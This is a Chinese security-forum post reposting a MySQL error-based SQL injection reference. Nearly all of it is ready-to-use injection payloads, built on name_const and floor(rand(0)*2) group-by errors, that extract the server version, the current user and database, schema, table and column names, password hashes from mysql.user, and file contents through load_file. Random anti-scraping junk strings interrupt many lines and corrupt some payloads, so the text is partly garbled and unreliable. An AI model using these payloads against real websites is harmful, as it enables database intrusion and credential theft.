找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2107|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 * ?: J0 s8 }# @# I% l. l/ r
$ g( W5 h* C: X9 N% b- h2 {' S
: \+ H: n8 F* [( M# l& f
Mysql暴错注入参考(pdf),每天一贴。。。
2 d. n* d# ?; O7 Q9 I% }) V/ C
4 b6 M5 @  d* E5 U7 KMySql Error Based Injection Reference6 m/ [6 G- p2 a( S! q/ `0 `% X
[Mysql暴错注入参考]! M0 I- p8 ~: E( ^% U- d* ]+ D# j9 m
Authornig0s1992
% Z0 x, w0 A0 y3 CBlog:http://pnig0s1992.blog.51cto.com/
5 e# p2 v8 |+ [1 O4 y5 j) N, U8 ~) Z/ CTeAm:http://www.FreeBuf.com/
! m6 ?0 N0 k/ F9 T: zMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
  o, }" L" Z4 g小部分版本使用name_const()时会报错.可以用给出的Method.2测试$ w% S4 m! |" J7 V
查询版本:
3 T# Q+ M! B: i5 @3 u2 I" GMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+$ j3 ^, o( n* m! P/ z6 o% w! b
join+(select+name_const(@@version,0))b)c)
; a+ e7 C% c" T4 U! i" G$ EMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro' \( U4 I5 d% @! f1 e
up by a)b)% h* T! l4 R% C! I
查询当前用户:1 n' L. J6 B. j' e
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 D+ _& ?4 t9 B% lMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r0 u+ L% C9 o6 S1 `& s$ e
and(0)*2))x+from+information_schema.tables+group+by+x)a)
& d1 T8 c3 s2 Y. G查询当前数据库:
; ?2 G- b% o( s. T- ZMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
- K6 K; Y% d6 @# {) J1 r( `. QMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo3 a8 ~* A0 T( @1 Q
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)  Q' T" l/ c# u
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
, L3 E5 x$ m& ~2 c1 rLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n7 ?2 ~7 N/ ?( t+ Q
顺序替换5 [: n& d: y: J  P" u$ B
爆指定库数目:) U" e* f- X& X/ D$ y- j+ K4 j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
: J& ^& m3 P) M. bable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
( i6 w- r. T1 e  g5 m+by+x)a)+and+1=1 0x6D7973716C=mysql' R. q! a- a5 w7 i1 K" Z8 o
依次爆表:
8 q$ j2 q& d5 F: o8 c) Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
8 U7 d+ b' B9 }able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
) i* T$ ~8 T( E: \+ I- m& M, f9 ~. sbles+group+by+x)a)+and+1=1
: J/ X8 G5 `, C" g& i0x6D7973716C=Mysql 将n顺序替换
, t5 q9 L. A$ V爆表内字段数目:
+ f+ T! d- R" t) v0 @  \0 ~and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE% e, M/ z# T% ]! n' P% L& k
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
7 W4 F" j5 D0 l7 t8 p" [5 R- j0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
, @& e' `# i9 N0 F依次爆字段:* _$ |7 S0 R" Z6 {# Y/ N
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where5 T) z* B2 l* T1 L9 V$ q
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
  |2 J0 R: C% c; `9 H! Hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换0 [1 g0 }+ m/ `* K' z4 a
依次暴内容:8 Z# @1 U6 L6 X, f% @( U0 b
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
' n# r# @; j: G6 M+ Ama.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
: F- C+ C+ j6 R& e9 q! y$ F: E将n顺序替换
, i/ N' M: I# Y% s爆文件内容:
0 x# t3 a% g% t* @  v6 hand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a. U) F: O/ L3 d& G' i3 X
from+information_schema.tables+group+by+a)b) : N& K( A& p* l0 y
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节: q3 k+ H  `% y8 m$ S
Thx for reading." }: s+ {' [1 W
* U- W# x% C* b  `" s! @0 i) y
不要下载也可以, 5 C- M  H! ?6 C) P; N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表